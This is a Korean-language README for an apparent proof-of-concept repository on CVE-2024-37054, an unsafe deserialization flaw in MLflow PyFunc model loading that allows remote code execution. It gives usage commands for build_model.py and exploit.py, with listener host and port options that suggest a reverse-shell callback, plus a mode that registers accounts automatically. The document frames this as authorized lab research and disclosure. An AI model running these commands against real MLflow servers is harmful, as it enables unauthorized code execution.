
CVE-2024-37054에 대한 개념 증명 및 연구 저장소로, MLflow PyFunc 모델 로딩에서의 안전하지 않은 역직렬화 취약점으로 인해 원격 코드 실행으로 이어질 수 있습니다.
이 저장소는 MLflow PyFunc 모델 처리에 영향을 미치는 안전하지 않은 역직렬화 문제인 CVE-2024-37054에 대한 연구를 문서화합니다.
영향을 받는 MLflow 버전에서는 신뢰할 수 없는 PyFunc 모델을 로드할 때 Python 역직렬화 로직이 공격자가 제어하는 동작을 포함하는 직렬화된 객체를 처리할 수 있습니다. 신뢰할 수 없는 아티팩트를 로드하면 모델 로딩 작업을 수행하는 사용자 또는 서비스의 권한으로 코드가 실행될 수 있습니다.
공개 권고에서 보고된 영향을 받는 버전은 다음과 같습니다:
MLflow 0.9.0 through 2.14.1
주요 위험은 단순히 "모델을 업로드하는 것"이 아닙니다. 위험은 애플리케이션, 분석가, 워커 또는 ML 플랫폼이 신뢰할 수 없는 직렬화된 모델 아티팩트를 로드할 때 발생합니다.
잠재적 영향은 다음과 같습니다:
build_model.py
비공개, 승인된 랩 환경에서 사용하기 위한 통제된 테스트 모델 아티팩트를 생성합니다.
exploit.py
승인된 훈련 환경에서 취약점 경로를 검증하는 데만 사용되는 비공개 개념 증명 자동화입니다. 이 저장소에는 실제 대상, 자격 증명, 세션 토큰, VPN 구성 파일 또는 파괴적인 페이로드가 포함되어 있지 않습니다.
이 개념 증명은 승인된 랩 환경에서만 실행하십시오.
통제된 모델 아티팩트를 생성합니다:
python3 build_model.py --lhost <YOUR_IP> --lport 4444
이미 인증된 세션이 없는 경우 자동 등록 모드를 사용하십시오:
python3 exploit.py --lhost <YOUR_IP> --lport 4444 --atoz
이 모드는 임시 랩 계정을 생성하고, 애플리케이션에 인증한 후 모델 등록 및 검증 워크플로를 계속합니다.
이미 유효한 승인된 세션이 있는 경우 직접 전달하십시오:
python3 exploit.py \
--lhost <YOUR_IP> \
--lport 4444 \
--session "<SESSION_TOKEN>"
다음을 대체하십시오:
<YOUR_IP>를 승인된 랩 대상에서 접근 가능한 IP 주소로 대체합니다.4444를 랩에서 사용하는 리스너 포트로 대체합니다.<SESSION_TOKEN>을 활성 승인된 세션 값으로 대체합니다.실제 세션 토큰, 자격 증명, VPN 파일, 대상 주소 또는 콜백 세부 정보를 절대 공개하지 마십시오.
MLflow를 사용하는 조직은 출처와 무결성이 검증되지 않은 한 모델 아티팩트를 신뢰할 수 없는 입력으로 취급해야 합니다.
권장 보호 조치:
이 프로젝트는 방어적 연구, 교육 및 승인된 보안 테스트만을 목적으로 합니다. 개념 증명 워크플로는 통제된 훈련 환경에서만 평가되었습니다. 명시적인 서면 승인 없이 시스템, 계정, 서비스 또는 네트워크에 대해 이 취약점을 테스트하지 마십시오.